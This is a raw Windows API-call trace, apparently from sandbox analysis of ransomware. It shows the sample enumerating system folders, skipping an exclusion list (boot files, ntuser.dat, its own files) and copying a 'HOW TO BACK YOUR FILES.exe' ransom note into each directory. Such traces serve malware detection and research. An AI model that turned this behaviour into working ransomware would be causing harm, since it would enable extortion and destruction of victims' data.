	[0078.821] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7cb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0078.821] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2f9f0d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9f0d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Apollon865.txt.exe") returned 1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="windows") returned -1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="bootmgr") returned 1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="temp") returned -1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="pagefile.sys") returned -1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="boot") returned 1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="ids.txt") returned 1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="ntuser.dat") returned 1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="perflogs") returned -1
	[0078.821] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="MSBuild") returned 1
	[0078.821] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32
	[0078.821] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE") returned 35
	[0078.821] lstrcpyW (in: lpString1=0x119e642, lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="OfficeSoftwareProtectionPlatform") returned="OfficeSoftwareProtectionPlatform"
	[0078.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0078.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf9a8
	[0078.821] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c10 | out: ListHead=0x5b75f0, ListEntry=0x5b7c10) returned 0x5b7cb0
	[0078.821] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f97e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1
	[0078.821] lstrcmpiW (lpString1="RAC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.821] lstrcmpiW (lpString1="RAC", lpString2="Apollon865.txt.exe") returned 1
	[0078.821] lstrcmpiW (lpString1="RAC", lpString2=".") returned 1
	[0078.821] lstrcmpiW (lpString1="RAC", lpString2="..") returned 1
	[0078.821] lstrcmpiW (lpString1="RAC", lpString2="windows") returned -1
	[0078.822] lstrcmpiW (lpString1="RAC", lpString2="bootmgr") returned 1
	[0078.822] lstrcmpiW (lpString1="RAC", lpString2="temp") returned -1
	[0078.822] lstrcmpiW (lpString1="RAC", lpString2="pagefile.sys") returned 1
	[0078.822] lstrcmpiW (lpString1="RAC", lpString2="boot") returned 1
	[0078.822] lstrcmpiW (lpString1="RAC", lpString2="ids.txt") returned 1
	[0078.822] lstrcmpiW (lpString1="RAC", lpString2="ntuser.dat") returned 1
	[0078.822] lstrcmpiW (lpString1="RAC", lpString2="perflogs") returned 1
	[0078.822] lstrcmpiW (lpString1="RAC", lpString2="MSBuild") returned 1
	[0078.822] lstrlenW (lpString="RAC") returned 3
	[0078.822] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned 61
	[0078.822] lstrcpyW (in: lpString1=0x119e642, lpString2="RAC" | out: lpString1="RAC") returned="RAC"
	[0078.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0078.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bdfc8
	[0078.822] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7af0 | out: ListHead=0x5b75f0, ListEntry=0x5b7af0) returned 0x5b7c10
	[0078.822] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2="Apollon865.txt.exe") returned 1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2=".") returned 1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2="..") returned 1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2="windows") returned -1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2="bootmgr") returned 1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2="temp") returned -1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2="pagefile.sys") returned 1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2="boot") returned 1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2="ids.txt") returned 1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2="ntuser.dat") returned 1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2="perflogs") returned 1
	[0078.822] lstrcmpiW (lpString1="Search", lpString2="MSBuild") returned 1
	[0078.822] lstrlenW (lpString="Search") returned 6
	[0078.822] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC") returned 32
	[0078.822] lstrcpyW (in: lpString1=0x119e642, lpString2="Search" | out: lpString1="Search") returned="Search"
	[0078.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0078.822] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5be018
	[0078.822] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c90 | out: ListHead=0x5b75f0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0078.822] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1
	[0078.822] lstrcmpiW (lpString1="User Account Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.823] lstrcmpiW (lpString1="User Account Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0078.823] lstrcmpiW (lpString1="User Account Pictures", lpString2=".") returned 1
	[0078.823] lstrcmpiW (lpString1="User Account Pictures", lpString2="..") returned 1
	[0078.823] lstrcmpiW (lpString1="User Account Pictures", lpString2="windows") returned -1
	[0078.823] lstrcmpiW (lpString1="User Account Pictures", lpString2="bootmgr") returned 1
	[0078.823] lstrcmpiW (lpString1="User Account Pictures", lpString2="temp") returned 1
	[0078.823] lstrcmpiW (lpString1="User Account Pictures", lpString2="pagefile.sys") returned 1
	[0078.823] lstrcmpiW (lpString1="User Account Pictures", lpString2="boot") returned 1
	[0078.823] lstrcmpiW (lpString1="User Account Pictures", lpString2="ids.txt") returned 1
	[0078.823] lstrcmpiW (lpString1="User Account Pictures", lpString2="ntuser.dat") returned 1
	[0078.823] lstrcmpiW (lpString1="User Account Pictures", lpString2="perflogs") returned 1
	[0078.823] lstrcmpiW (lpString1="User Account Pictures", lpString2="MSBuild") returned 1
	[0078.823] lstrlenW (lpString="User Account Pictures") returned 21
	[0078.823] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Search") returned 35
	[0078.823] lstrcpyW (in: lpString1=0x119e642, lpString2="User Account Pictures" | out: lpString1="User Account Pictures") returned="User Account Pictures"
	[0078.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0078.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5afce8
	[0078.823] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b50 | out: ListHead=0x5b75f0, ListEntry=0x5b7b50) returned 0x5b7c90
	[0078.823] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2="Apollon865.txt.exe") returned 1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2=".") returned 1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2="..") returned 1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2="windows") returned -1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2="bootmgr") returned 1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2="temp") returned 1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2="pagefile.sys") returned 1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2="boot") returned 1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2="ids.txt") returned 1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2="ntuser.dat") returned 1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2="perflogs") returned 1
	[0078.823] lstrcmpiW (lpString1="Vault", lpString2="MSBuild") returned 1
	[0078.823] lstrlenW (lpString="Vault") returned 5
	[0078.823] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned 50
	[0078.823] lstrcpyW (in: lpString1=0x119e642, lpString2="Vault" | out: lpString1="Vault") returned="Vault"
	[0078.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0078.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x46) returned 0x5be068
	[0078.824] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b50
	[0078.824] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2="Apollon865.txt.exe") returned 1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2=".") returned 1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2="..") returned 1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2="windows") returned -1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2="bootmgr") returned 1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2="temp") returned 1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2="pagefile.sys") returned 1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2="boot") returned 1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2="ids.txt") returned 1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2="ntuser.dat") returned 1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2="perflogs") returned 1
	[0078.824] lstrcmpiW (lpString1="VISIO", lpString2="MSBuild") returned 1
	[0078.824] lstrlenW (lpString="VISIO") returned 5
	[0078.824] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Vault") returned 34
	[0078.824] lstrcpyW (in: lpString1=0x119e642, lpString2="VISIO" | out: lpString1="VISIO") returned="VISIO"
	[0078.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0078.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x46) returned 0x5be0b8
	[0078.824] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ab0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0078.824] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0078.824] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.824] lstrcmpiW (lpString1="Windows", lpString2="Apollon865.txt.exe") returned 1
	[0078.824] lstrcmpiW (lpString1="Windows", lpString2=".") returned 1
	[0078.824] lstrcmpiW (lpString1="Windows", lpString2="..") returned 1
	[0078.824] lstrcmpiW (lpString1="Windows", lpString2="windows") returned 0
	[0078.824] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0078.824] lstrcmpiW (lpString1="Windows Defender", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.824] lstrcmpiW (lpString1="Windows Defender", lpString2="Apollon865.txt.exe") returned 1
	[0078.824] lstrcmpiW (lpString1="Windows Defender", lpString2=".") returned 1
	[0078.824] lstrcmpiW (lpString1="Windows Defender", lpString2="..") returned 1
	[0078.824] lstrcmpiW (lpString1="Windows Defender", lpString2="windows") returned 1
	[0078.824] lstrcmpiW (lpString1="Windows Defender", lpString2="bootmgr") returned 1
	[0078.824] lstrcmpiW (lpString1="Windows Defender", lpString2="temp") returned 1
	[0078.824] lstrcmpiW (lpString1="Windows Defender", lpString2="pagefile.sys") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows Defender", lpString2="boot") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows Defender", lpString2="ids.txt") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows Defender", lpString2="ntuser.dat") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows Defender", lpString2="perflogs") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows Defender", lpString2="MSBuild") returned 1
	[0078.825] lstrlenW (lpString="Windows Defender") returned 16
	[0078.825] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\VISIO") returned 34
	[0078.825] lstrcpyW (in: lpString1=0x119e642, lpString2="Windows Defender" | out: lpString1="Windows Defender") returned="Windows Defender"
	[0078.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0078.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c55f8
	[0078.825] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc10 | out: ListHead=0x5b75f0, ListEntry=0x59fc10) returned 0x5b7ab0
	[0078.825] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7434b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7434b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2="Apollon865.txt.exe") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2=".") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2="..") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2="windows") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2="bootmgr") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2="temp") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2="pagefile.sys") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2="boot") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2="ids.txt") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2="ntuser.dat") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2="perflogs") returned 1
	[0078.825] lstrcmpiW (lpString1="Windows NT", lpString2="MSBuild") returned 1
	[0078.825] lstrlenW (lpString="Windows NT") returned 10
	[0078.825] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned 45
	[0078.825] lstrcpyW (in: lpString1=0x119e642, lpString2="Windows NT" | out: lpString1="Windows NT") returned="Windows NT"
	[0078.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0078.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bca10
	[0078.825] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd70 | out: ListHead=0x5b75f0, ListEntry=0x59fd70) returned 0x59fc10
	[0078.825] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7434b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7434b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1
	[0078.825] lstrcmpiW (lpString1="WwanSvc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.825] lstrcmpiW (lpString1="WwanSvc", lpString2="Apollon865.txt.exe") returned 1
	[0078.825] lstrcmpiW (lpString1="WwanSvc", lpString2=".") returned 1
	[0078.826] lstrcpyW (in: lpString1=0x119e642, lpString2="WwanSvc" | out: lpString1="WwanSvc") returned="WwanSvc"
	[0078.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0078.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bca68
	[0078.826] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x59fd70
	[0078.826] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7434b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7434b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0
	[0078.826] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0078.826] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0078.826] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\WwanSvc", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc"
	[0078.826] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca68 | out: hHeap=0x580000) returned 1
	[0078.826] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0078.826] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned 36
	[0078.826] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\WwanSvc" | out: lpString1="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc"
	[0078.826] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.826] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0078.827] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0078.827] GetLastError () returned 0x0
	[0078.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0078.827] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0078.827] CloseHandle (hObject=0x150) returned 1
	[0078.827] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0078.827] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.827] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7434b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7434b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0078.827] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.827] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.828] lstrcpyW (in: lpString1=0x119e652, lpString2="Profiles" | out: lpString1="Profiles") returned="Profiles"
	[0078.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0078.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5458
	[0078.828] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x59fd70
	[0078.828] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0
	[0078.828] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0078.828] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0078.828] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles"
	[0078.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0078.828] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0078.828] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned 45
	[0078.828] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" | out: lpString1="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles"
	[0078.828] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.828] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\profiles\\how to back your files.exe"), bFailIfExists=1) returned 0
